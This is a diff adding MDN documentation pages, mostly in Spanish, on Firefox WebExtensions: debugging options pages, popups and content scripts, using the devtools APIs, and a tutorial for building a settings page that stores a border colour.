+<p>Las <font color="#000080"><span lang="zxx"><u><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Anatomia_de_una_WebExtension#P%C3%A1gina_de_opciones">páginas de opciones</a></u></span></font> son páginas HTML que pueden ser proporcionadas por la persona que desarrolle la extensión y contienen opciones para la misma. Se muestran normalmente en un iframe en el Add-ons Manager (para ver el Add-ons Manager, visita la página "about:addons").</p>
+
+<p>Para depurar páginas de opciones:</p>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0cm;">abrir el <font color="#000080"><span lang="zxx"><u><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Debugging#The_Add-on_Debugger">Depurador de Add-on</a></u></span></font> para la add-on en cuestión</p>
+ </li>
+ <li>
+  <p>abrir la página de opciones de la add-on.</p>
+ </li>
+</ul>
+
+<p>Cualquier archivo fuente en JavaScript que incluya será listado en el Depurador:</p>
+
+<p>{{EmbedYouTube("BUMG-M8tFF4")}}</p>
+
+<div class="note">
+<p>Este vídeo usa el ejemplo de WebExtension <font color="#000080"><span lang="zxx"><u><a href="https://github.com/mdn/webextensions-examples/tree/master/favourite-colourbeastify">favourite-colour</a></u></span></font>.</p>
+</div>
+
+<p>También se verá cualquier mensaje registrado por el código en la Consola del Depurador de Add-on.</p>
+
+<p>También se puede usar el Depurador de Add-on para depurar el código HTML y CSS de la página. Pero primero se necesita dirigir las herramientas al iframe que alberga la página de opciones. Para hacer esto: abre la página de opciones, haz clic en el icono indicado en la captura de pantalla mostrada a continuación y selecciona la página de opciones del menú desplegable:</p>
+
+<p class="western" style="margin-bottom: 0cm; line-height: 100%;"><img alt="" src="https://mdn.mozillademos.org/files/13863/toolbox-iframe.png" style="display: block; height: 417px; margin-left: auto; margin-right: auto; width: 876px;">Ahora al cambiar a la pestaña Inspector se podrá examinar y editar el HTML y CSS para la página:</p>
+
+<p class="western" style="margin-bottom: 0cm; line-height: 100%;"> </p>
+
+<p>{{EmbedYouTube("-2m3ubFAU94")}}</p>
+
+<h2 class="western" id="Depurando_ventanas_emergentes">Depurando ventanas emergentes</h2>
+
+<p><font color="#000080"><span lang="zxx"><u><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Popups">Las ventanas emergentes</a></u></span></font> son cuadros de diálogo unidos a acciones del navegador o de la página. Se especifican usando un documento HTML que puede incluir fuentes CSS y JavaScript para determinar el estilo y el funcionamiento. Cuando la ventana emergente es visible, se puede usar el <a href="/en-US/Add-ons/WebExtensions/Debugging_(Firefox_50_onwards)#The_Add-on_Debugger">Depurador de Add-on</a> para depurar su código.</p>
+
+<p>Un problema con las ventanas emergentes es que si una ventana emergente está abierta y se hace clic fuera de ella, esta se cierra y su código se descarga. Obviamente, esto hace que sea imposible depurarlas. Para eliminar este comportamiento, se debe hacer clic en el botón del Depurador de Add-on destacado en la captura de pantalla mostrada a continuación:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13877/toolbox-popup.png" style="display: block; height: 417px; margin-left: auto; margin-right: auto; width: 876px;"></p>
+
+<p class="western" style="margin-bottom: 0cm; line-height: 100%;">Ahora, al abrir una ventana emergente esta continuará abierta hasta que se pulse Escape.</p>
+
+<p class="western" style="margin-bottom: 0cm; line-height: 100%;"> </p>
+
+<div class="note">
+<p>Es importante señalar que esta opción está disponible para ventanas emergentes desarrolladas para el navegador, como el menú de hamburguesa (<img style="height: 20px; width: 22px;"> ), así como a ventanas emergentes propias de la add-on.</p>
+
+<p>También es importante notar que el cambio es persistente, incluso aunque el navegador se reinicie. Estamos trabajando en solucionar esto en el <font color="#000080"><span lang="zxx"><u><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1251658">bug 1251658</a></u></span></font>, pero hasta entonces puede ser mejor permitir de nuevo la ocultación automática<strong> </strong>volviendo a hacer clic en el botón antes de cerrar la Caja de Herramientas del Navegador.</p>
+
+<p>Internamente, este botón simplemente cambia la preferencia <code class="western">ui.popup.disable_autohide</code>, lo que se puede hacer manualmente usando about:config.</p>
+</div>
+
+<p>Cuando la ventana emergente está abierta, sus fuentes de JavaScript se listarán en el Depurador. Se pueden colocar breakpoints y modificar el estado interno del programa:</p>
+
+<p>{{EmbedYouTube("hzwnR8qoz2I")}}</p>
+
+<div class="note">
+<p>Este vídeo usa la extensión de ejemplo <a href="https://github.com/mdn/webextensions-examples/tree/master/beastify">beastify</a>.</p>
+</div>
+
+<p>También se puede usar el Depurador de Add-on para depurar el código HTML y CSS de la ventana emergente. Pero primero se necesita dirigir las herramientas al documento de la ventana emergente. Para hacer esto: abre la ventana emergente, haz clic en el icono indicado en la captura de pantalla mostrada a continuación y selecciona la página de la ventana emergente del menú desplegable:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13863/toolbox-iframe.png" style="display: block; height: 417px; margin-left: auto; margin-right: auto; width: 876px;"></p>
+
+<p>Ahora al cambiar a Inspector se podrán examinar y editar el HTML y el CSS de la ventana emergente:</p>
+
+<p>{{EmbedYouTube("6lvdm7jaq7Y")}}</p>
+
+<h2 class="western" id="Depurando_scripts_de_contenido">Depurando scripts de contenido</h2>
+
+<p>Se puede usar el Depurador de Add-on para depurar páginas en segundo plano, páginas de opciones y ventanas emergentes. Sin embargo, no se puede usar para depurar scripts de contenido. Esto es debido a que, en <font color="#000080"><span lang="zxx"><u><a href="https://developer.mozilla.org/es/Firefox/Multiprocess_Firefox">Firefox multiproceso</a></u></span></font>, los scripts de contenido se ejecutan en un proceso distinto del de otras partes de la add-on.</p>
+
+<p>Para depurar scripts de contenido adjuntos a una página web, se deben usar las herramientas de desarrollo web normales para esa página:</p>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0cm;">selecciona “Alternar herramientas” del submenú Desarrollador Web en el menú Firefox (o el menú de herramientas si se muestra la barra de menú o se está utilizando Mac OS X)</p>
+ </li>
+ <li>
+  <p>o presiona el método abreviado del teclado <kbd>CtrlShiftI</kbd> (<kbd>CommandOptionI</kbd> en OS X).</p>
+ </li>
+</ul>
+
+<p>{{EmbedYouTube("f46hMLELyaI")}}</p>
+
+<p>Por defecto, las herramientas se muestran al pie de la pestaña de desarrollo, para reflejar que están relacionadas con esa pestaña. Cualquier salida de las instrucciones <code class="western"><a>console.log()</a></code> de los scripts de contenido será mostrada allí. También se verán los scripts de contenido listados en el Depurador, donde se podrán colocar breakpoints, avanzar en el código, etc.</p>
+
+<p>{{EmbedYouTube("Hx3GU_fEPeo")}}</p>
+
+<div class="note">
+<p>Este video usa el ejemplo <font color="#000080"><span lang="zxx"><u><a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a></u></span></font> de WebExtension.</p>
+</div>
+
+<div class="note">
+<p style="line-height: 120%;">Si la pestaña de Herramientas de Desarrollo no estaba abierta cuando el scripts de contenido se introdujo, puede ocurrir que el scripts de contenido no aparezca en el panel de depuración. Si esto ocurre, recargar la página que contiene la pestaña de Herramientas de Desarrollo debería solucionar el problema.</p>
+</div>
diff --git a/files/es/mozilla/add-ons/webextensions/examples/index.html b/files/es/mozilla/add-ons/webextensions/examples/index.html
new file mode 100644
index 0000000000..40900fa368
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/examples/index.html
@@ -0,0 +1,24 @@
+---
+title: Ejemplos de extensiones
+slug: Mozilla/Add-ons/WebExtensions/Examples
+tags:
+  - WebExgtensions
+translation_of: Mozilla/Add-ons/WebExtensions/Examples
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Para ayudar en la ilustración de cómo desarrollar las extension, se mantiene un repositorio de ejemplos simples de extensions en <a href="https://github.com/mdn/webextensions-examples">https://github.com/mdn/webextensions-examples</a>. Este artículo describe las extensiones en ese repositorio.</p>
+
+<p>Estos ejemplo funcionan en Firefox Nightly: la mayoría funcionan en versiones más recientes de Firefox, pero revise la clave <a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">strict_min_version</a> en el manifest.json del complemento para estar seguro.</p>
+
+<p>Si quiere probar estos ejemplo, tiene tres opciones principales:</p>
+
+<ol>
+ <li>Clone el repositorio, entonces, carge el complemento directo desde su directorio, utilizando la función <a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">"Cargar complemento temporalmente"</a>. El complemento estará cargado hasta que se reinicie Firefox.</li>
+ <li>Clone el repositorio, luego utilice la herrmienta <a href="/es/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a> en la línea de comando para ejecutar Firefox con el complemento instalado.</li>
+ <li>Clone el repositorio, luego diríjase al directorio <a href="https://github.com/mdn/webextensions-examples/tree/master/build">build</a>. Este contiene todos los ejemplos firmados y compilados, así que usted puede abrilos en Firefox (utilizando Archivo/Abrir archivo) e instalarlos permanentemente, justamente como cuando se instala un complemento desde <a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a>.</li>
+</ol>
+
+<p>Si quiere contribuir al repositorio, <a href="https://github.com/mdn/webextensions-examples/blob/master/CONTRIBUTING.md">¡envíe una petición de pull!</a></p>
+
+<p>{{WebExtAllExamples}}</p>
diff --git a/files/es/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html b/files/es/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html
new file mode 100644
index 0000000000..426aeae50f
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html
@@ -0,0 +1,159 @@
+---
+title: Extending the developer tools
+slug: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools
+translation_of: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools
+---
+<div>{{AddonSidebar}}</div>
+
+<div class="note">
+<p>This page describes devtools APIs as they exist in Firefox 55. Although the APIs are based on the <a href="https://developer.chrome.com/extensions/devtools">Chrome devtools APIs</a>, there are still many features that are not yet implemented in Firefox, and therefore are not documented here. To see which features are currently missing please see <a href="/en-US/Add-ons/WebExtensions/Using_the_devtools_APIs#Limitations_of_the_devtools_APIs">Limitations of the devtools APIs</a>.</p>
+</div>
+
+<p><span class="seoSummary">You can use WebExtensions APIs to extend the browser's built-in developer tools.</span> To create a devtools extension, include the "<a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page">devtools_page</a>" key in <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>:</p>
+
+<pre class="brush: json notranslate">"devtools_page": "devtools/devtools-page.html"</pre>
+
+<p>The value of this key is a URL pointing to an HTML file that's been bundled with your extension. The URL should be relative to the manifest.json file itself.</p>
+
+<p>The HTML file defines a special page in the extension, called the devtools page.</p>
+
+<h2 id="The_devtools_page">The devtools page</h2>
+
+<p>The devtools page is loaded when the browser devtools are opened, and unloaded when it is closed. Note that because the devtools window is associated with a single tab, it's quite possible for more than one devtools window - hence more than one devtools page - to exist at the same time.</p>
+
+<p>The devtools page doesn't have any visible DOM, but can include JavaScript sources using <code><a href="/en-US/docs/Web/HTML/Element/script">&lt;script&gt;</a></code> tags. The sources must be bundled with the extension itself. The sources get access to:</p>
+
+<ul>
+ <li>The normal DOM APIs accessible through the global <code><a href="/en-US/docs/Web/API/Window">window</a></code> object</li>
+ <li>The same <a href="/en-US/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs">WebExtension APIs as in Content Scripts</a></li>
+ <li>The devtools APIs:
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow">devtools.inspectedWindow</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.network">devtools.network</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels">devtools.panels</a></code></li>
+  </ul>
+ </li>
+</ul>
+
+<p>Note that the devtools page does not get access to any other WebExtension APIs, and the background page doesn't get access to the devtools APIs. Instead, the devtools page and the background page must communicate using the <code>runtime</code> messaging APIs. Here's an example:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;script src="devtools.js"&gt;&lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>The devtools.js file will hold the actual code creating your dev tools extensions.</p>
+
+<h2 id="Creating_panels">Creating panels</h2>
+
+<p>The devtools window hosts a number of separate tools - the JavaScript Debugger, Network Monitor, and so on. A row of tabs across the top lets the user switch between the different tools. The window hosting each tool's user interface is called a "panel".</p>
+
+<p>Using the <code>devtools.panels.create()</code> API, you can create your own panel in the devtools window:</p>
+
+<pre class="brush: js notranslate">browser.devtools.panels.create(
+  "My Panel",                      // title
+  "icons/star.png",                // icon
+  "devtools/panel/panel.html"      // content
+).then((newPanel) =&gt; {
+  newPanel.onShown.addListener(initialisePanel);
+  newPanel.onHidden.addListener(unInitialisePanel);
+});</pre>
+
+<p>This takes three mandatory arguments: the panel's title, icon, and content. It returns a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code> which resolves to a <code>devtools.panels.ExtensionPanel</code> object representing the new panel.</p>
+
+<h2 id="Interacting_with_the_target_window">Interacting with the target window</h2>
+
+<p>The developer tools are always attached to a particular browser tab. This is referred to as the "target" for the developer tools, or the "inspected window". You can interact with the inspected window using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow">devtools.inspectedWindow</a></code> API.</p>
+
+<h3 id="Running_code_in_the_target_window">Running code in the target window</h3>
+
+<p>The <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/eval">devtools.inspectedWindow.eval()</a></code> provides one way to run code in the inspected window.</p>
+
+<p>This is somewhat like using {{WebExtAPIRef("tabs.executeScript()")}} to inject a content script, but with one important difference:</p>
+
+<ul>
+ <li>unlike content scripts, scripts loaded using <code>devtools.inspectedWindow.eval()</code><strong> do not</strong> get <a href="/en-US/Add-ons/WebExtensions/Content_scripts#DOM_access">a "clean view of the DOM"</a>: that is, they can see changes to the page made by page scripts.</li>
+</ul>
+
+<div class="note">
+<p>Note that a clean view of the DOM is a security feature, intended to help prevent hostile pages from tricking extensions by redefining the behavior of native DOM functions. This means you need to be very careful using eval(), and should use a normal content script if you can.</p>
+</div>
+
+<p>Scripts loaded using <code>devtools.inspectedWindow.eval()</code> also don't see any JavaScript variables defined by content scripts.</p>
+
+<h3 id="Working_with_content_scripts">Working with content scripts</h3>
+
+<p>A devtools document doesn't have direct access to {{WebExtAPIRef("tabs.executeScript()")}}, so if you need to inject a content script, the devtools document must send a message to the background script asking it to inject the script. The <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/tabId">devtools.inspectedWindow.tabId</a></code> provides the ID of the target tab: the devtools document can pass this to the background script, and the background script can in turn pass it into {{WebExtAPIRef("tabs.executeScript()")}}:</p>
+
+<pre class="brush: js notranslate">// devtools-panel.js
+
+const scriptToAttach = "document.body.innerHTML = 'Hi from the devtools';";
+
+window.addEventListener("click", () =&gt; {
+  browser.runtime.sendMessage({
+    tabId: browser.devtools.inspectedWindow.tabId,
+    script: scriptToAttach
+  });
+});</pre>
+
+<pre class="brush: js notranslate">// background.js
+
+function handleMessage(request, sender, sendResponse) {
+  browser.tabs.executeScript(request.tabId, {
+    code: request.script
+  });
+}
+
+browser.runtime.onMessage.addListener(handleMessage);</pre>
+
+<p>If you need to exchange messages between the content scripts running in the target window and a devtools document, it's a good idea to use the {{WebExtAPIRef("runtime.connect()")}} and {{WebExtAPIRef("runtime.onConnect")}} to set up a connection between the background page and the devtools document. The background page can then maintain a mapping between tab IDs and {{WebExtAPIRef("runtime.Port")}} objects, and use this to route messages between the two scopes.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14923/devtools-content-scripts.png" style="display: block; height: 416px; margin-left: auto; margin-right: auto; width: 600px;"></p>
+
+<h2 id="Limitations_of_the_devtools_APIs">Limitations of the devtools APIs</h2>
+
+<p>These APIs are based on the Chrome devtools APIs, but many features are still missing, compared with Chrome. This section lists the features that are still not implemented, as of Firefox 54. Note that the devtools APIs are under active development and we expect to add support for most of them in future releases.</p>
+
+<h3 id="devtools.inspectedWindow">devtools.inspectedWindow</h3>
+
+<p>The following are not supported:</p>
+
+<ul>
+ <li><code>inspectedWindow.getResources()</code></li>
+ <li><code>inspectedWindow.onResourceAdded</code></li>
+ <li><code>inspectedWindow.onResourceContentCommitted</code></li>
+</ul>
+
+<p>None of the options to <code>inspectedWindow.eval()</code> are supported.</p>
+
+<p>Scripts injected using <code>inspectedWindow.eval()</code> can't use all the Console's command-line helper functions, but <code>$0</code> and <code>inspect(...)</code> are both supported (starting from Firefox 55).</p>
+
+<h3 id="devtools.panels">devtools.panels</h3>
+
+<p>The following are not supported:</p>
+
+<ul>
+ <li><code>panels.elements</code></li>
+ <li><code>panels.sources</code></li>
+ <li><code>panels.setOpenResourceHandler()</code></li>
+ <li><code>panels.openResource()</code></li>
+ <li><code>panels.ExtensionPanel.createStatusBarButton()</code></li>
+ <li><code>panels.Button</code></li>
+ <li><code>panels.ElementsPanel</code></li>
+ <li><code>panels.SourcesPanel</code></li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repo on GitHub, contains several examples of extensions that use devtools panels:</p>
+
+<ul>
+ <li>
+  <p><a href="https://github.com/mdn/webextensions-examples/blob/master/devtools-panels/">devtools-panels</a> use devtools panels:</p>
+ </li>
+</ul>
diff --git a/files/es/mozilla/add-ons/webextensions/implement_a_settings_page/index.html b/files/es/mozilla/add-ons/webextensions/implement_a_settings_page/index.html
new file mode 100644
index 0000000000..1d48eec011
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/implement_a_settings_page/index.html
@@ -0,0 +1,199 @@
+---
+title: Implementar una página de configuración
+slug: Mozilla/Add-ons/WebExtensions/Implement_a_settings_page
+tags:
+  - JavaScript
+translation_of: Mozilla/Add-ons/WebExtensions/Implement_a_settings_page
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Una página de configuración ofrece a los usuarios una manera de ver y cambiar los ajustes (algunas veces también llamados "preferencias" u "opciones") para el complemento.</p>
+
+<p>Con WebExtensions, los ajustes generalmente se almacenan utilizando la  API <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage">storage</a></code> . La implementación de una página de configuración se realiza en un proceso de tres pasos:</p>
+
+<ul>
+ <li>Escribir un archivo HTML que muestre los ajustes y permita al usuario cambiarlos.</li>
+ <li>Escribir un script, incluido desde el archivo HTML , que establece la página de configuración desde su almacenamiento y actualiza los ajustes seleccionados cuando el usuario los modifica.</li>
+ <li>Establecer la ruta al archivo HTML como la clave  <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/options_ui">options_ui </a></code> en manifest.json. Haciendo esto, el documento HTML  se mostrará en el administrador de complementos del navegador, junto al nombre del complemento y su descripción.</li>
+</ul>
+
+<div class="note">
+<p>También puedes abrir esta página mediante programación utilizando la función <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/openOptionsPage">runtime.openOptionsPage()</a></code> .</p>
+</div>
+
+<h2 id="Una_sencilla_ExtensionWeb">Una sencilla  ExtensionWeb</h2>
+
+<p>En primer lugar, vamos a escribir una extensión que añada un borde azul a todas las páginas que el usuario visita.</p>
+
+<p>Crea un nuevo directorio llamado "configuración", a continuación crea un archivo llamado"manifest.json" en su interior ,con el siguiente contenido:</p>
+
+<pre class="brush: json">{
+
+  "manifest_version": 2,
+  "name": "Settings example",
+  "version": "1.0",
+
+  "content_scripts": [
+    {
+      "matches": ["&lt;all_urls&gt;"],
+      "js": ["borderify.js"]
+    }
+  ],
+
+  "applications": {
+    "gecko": {
+      "id": "settings-example@mozilla.org"
+    }
+  }
+
+}</pre>
+
+<p>Este complemento da instrucciones al navegador para cargar un script de contenido llamado "borderify.js" en todas las páginas web que el usuario visita.</p>
+
+<p>Ten en cuenta que también hemos incluido la clave <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> .  Necesitaremos esto (solamente en Firefox ) porque si hay un error, debemos establecer explícitamente (la identidad del complemento) <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">add-on ID</a> , y también incluimos la clave de manifiesto <code>options_ui</code>. Aunque no utilicemos la clave <code>options_ui</code> en ese momento, lo haremos en la siguiente sección. Ver el  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1269454">bug 1269545</a>.</p>
+
+<p>A continuación, crea un archivo llamado "borderify.js" en el directorio "configuración" , y añade el siguiente contenido :</p>
+
+<pre class="brush: js">document.body.style.border = "10px solid blue";</pre>
+
+<p>Esto solo añade un borde azul a la página.</p>
+
+<p>Ahora <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">instala WebExtension</a> y comprueba — abre cualquier página web que te guste:</p>
+
+<p>{{EmbedYouTube("E-WUhihF8fw")}}</p>
+
+<h2 id="Añadir_ajustes">Añadir ajustes</h2>
+
+<p>Ahora vamos a crear una página de configuración que permita al usuario establecer el color del borde.</p>
+
+<p>En primer lugar, actualiza "manifest.json" para que tenga este contenido:</p>
+
+<pre class="brush: json">{
+
+  "manifest_version": 2,
+  "name": "Settings example",
+  "version": "1.0",
+
+  "content_scripts": [
+    {
+      "matches": ["&lt;all_urls&gt;"],
+      "js": ["borderify.js"]
+    }
+  ],
+
+  "applications": {
+    "gecko": {
+      "id": "settings-example@mozilla.org"
+    }
+  },
+
+  "options_ui": {
+    "page": "options.html"
+  },
+
+  "permissions": ["storage"]
+
+}
+</pre>
+
+<p>Hemos añadido dos nuevas claves de manifiesto:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/options_ui">options_ui</a></code>: Esta establece un documento HTML  que es la página de configuración (tambien llamada página de opciones) para este complemento.</li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code>: utilizaremos la API <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage">storage</a></code>  para almacenar los ajustes, y necesitaremos pedir permiso para utilizar esta API.</li>
+</ul>
+
+<p>A continuacion, como hemos prometido  crear "options.html", vamos a realizarlo. Crea un archivo con ese nombre en el directorio "configuración" , y añade el siguiente contenido:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+  &lt;/head&gt;
+
+  &lt;body&gt;
+
+    &lt;form&gt;
+        &lt;label&gt;Border color&lt;input type="text" id="color" &gt;&lt;/label&gt;
+        &lt;button type="submit"&gt;Save&lt;/button&gt;
+    &lt;/form&gt;
+
+    &lt;script src="options.js"&gt;&lt;/script&gt;
+
+  &lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<p>Esto define un elemento HTML {{htmlelement("form")}} con un texto etiquetado {{htmlelement("input")}} y un botón de envio {{htmlelement("button")}}. también incluye un script llamado "options.js".</p>
+
+<p>Crea "options.js", de nuevo en el directorio "configuración" , y añade el siguiente contenido:</p>
+
+<pre class="brush: js">function saveOptions(e) {
+  chrome.storage.local.set({
+    color: document.querySelector("#color").value
+  });
+}
+
+function restoreOptions() {
+  chrome.storage.local.get("color", (res) =&gt; {
+    document.querySelector("#color").value = res.color || "blue";
+  });
+}
+
+document.addEventListener("DOMContentLoaded", restoreOptions);
+document.querySelector("form").addEventListener("submit", saveOptions);</pre>
+
+<p>Esto hace dos cosas:</p>
+
+<ul>
+ <li>Cuando el documento ha sido cargado, se obtiene el valor "color" desde el almacenamiento utilizando <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/get">storage.local.get()</a></code>. Si el valor no se ha establecido, utiliza por defecto "azul".</li>
+ <li>Cuando el usuario envía el formulario haciendo click en "guardar", se almacena el valor del cuadro de texto utilizando <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set">storage.local.set()</a></code>.</li>
+</ul>
+
+<p>Finalmente, actualiza "borderify.js" para leer el color del borde del almacenamiento:</p>
+
+<pre class="brush: js">chrome.storage.local.get(null, (res) =&gt; {
+  var color = "blue";
+  if (res.color) {
+    color = res.color;
+  }
+  document.body.style.border = "10px solid " + color;
+});</pre>
+
+<p>En este punto, el complemento completo debe tener este aspecto:</p>
+
+<pre>settings/
+    borderify.js
+    manifest.json
+    options.html
+    options.js</pre>
+
+<p>Ahora:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox#Reloading_a_temporary_add-on">recarga WebExtension.</a></li>
+ <li>carga una página web.</li>
+ <li>abre la página de configuración y cambia el color del borde.</li>
+ <li>recarga la página web para ver la diferencia.</li>
+</ul>
+
+<p>En Firefox se puede accededer a la página de configuración visitando : complementos y haciendo click en el botón "Preferencias" junto a la entrada del complemento.</p>
+
+<p>{{EmbedYouTube("ECt9cbWh1qs")}}</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<ul>
+ <li>Documentación de referencia de la clave de manifiesto.<a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/options_ui">options_ui.</a></li>
+ <li>Documentación de referencia de la API  <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage">storage.</a></li>
+ <li>Abrir la página de configuración directamente desde el complemento utilizando la API <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/openOptionsPage">runtime.openOptionsPage().</a></code></li>
+ <li>Página de ejemplo de configuraciones:
+  <ul>
+   <li><a href="https://github.com/mdn/webextensions-examples/tree/master/favourite-colour">color-favorito.</a></li>
+  </ul>
+ </li>
+</ul>
+
+<p> </p>
diff --git a/files/es/mozilla/add-ons/webextensions/index.html b/files/es/mozilla/add-ons/webextensions/index.html
new file mode 100644
index 0000000000..ec02f9c6df
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/index.html
@@ -0,0 +1,155 @@
+---
+title: Extensiones del navegador
+slug: Mozilla/Add-ons/WebExtensions
+tags:
+  - Complementos
+  - Dónde empezar
+  - Manifiesto
+  - WebExtensions
+  - extensiones
+translation_of: Mozilla/Add-ons/WebExtensions
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Las extensiones pueden extender y modificar la capacidad de un navegador. Las extensiones para Firefox son construidas utilizando las APIs de WebExtension, un sistema para el desarrollo de extensiones multi-navegador. En gran medida, el sistema es compatible con la <a class="external-icon external" href="https://developer.chrome.com/extensions">API de extensión</a> soportada por Google Chrome, Opera y el <a href="https://browserext.github.io/browserext/">borrador del grupo de la comunidad del W3C</a>.</p>
+
+<p>Las extensiones escritas para estos navegadores se ejecutarán en la mayoría de los casos en Firefox o <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/">Microsoft Edge</a> con sólo <a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Porting_from_Google_Chrome">unos pocos cambios</a>. La API también es totalmente compatible con <a href="https://developer.mozilla.org/es/Firefox/Multiprocess_Firefox">multiprocesos de Firefox</a>.</p>
+
+<p>Si tiene alguna idea, pregunta, o necesita ayuda en el proceso de migración de un complemento heredado al uso de las APIs de WebExtension, puede ponerse en contacto con nosotros a través de la <a href="https://mail.mozilla.org/listinfo/dev-addons">lista de correo dev-addons</a> o en el canal <a href="irc://irc.mozilla.org/webextensions">#webextensions</a> de <a href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 id="Primeros_pasos">Primeros pasos</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Que_son_las_WebExtensions">¿Qué son las extensiones?</a></li>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Tu_primera_WebExtension">Tu primera extensión</a></li>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Tutorial">Tu segunda extensión</a></li>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Anatomia_de_una_WebExtension">Anatomía de una extensión</a></li>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Examples">Ejemplos de extensiones</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_">¿Qué sigue?</a></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Conceptos">Conceptos</h2>
+
+<ul>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API">Descripción general de la API JavaScript</a></li>
+ <li><a href="/es/Add-ons/WebExtensions/Content_scripts">Scripts de contenido</a></li>
+ <li><a href="/es/Add-ons/WebExtensions/Match_patterns">Patrones de coincidencia</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_files">Trabajando con archivos</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Internationalization">Internacionalización</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Security_best_practices">Las mejores prácticas de seguridad</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Política de seguridad de contenido</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">Mensajería nativa</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Extending_the_developer_tools">Utilización de las APIs de devtools</a></li>
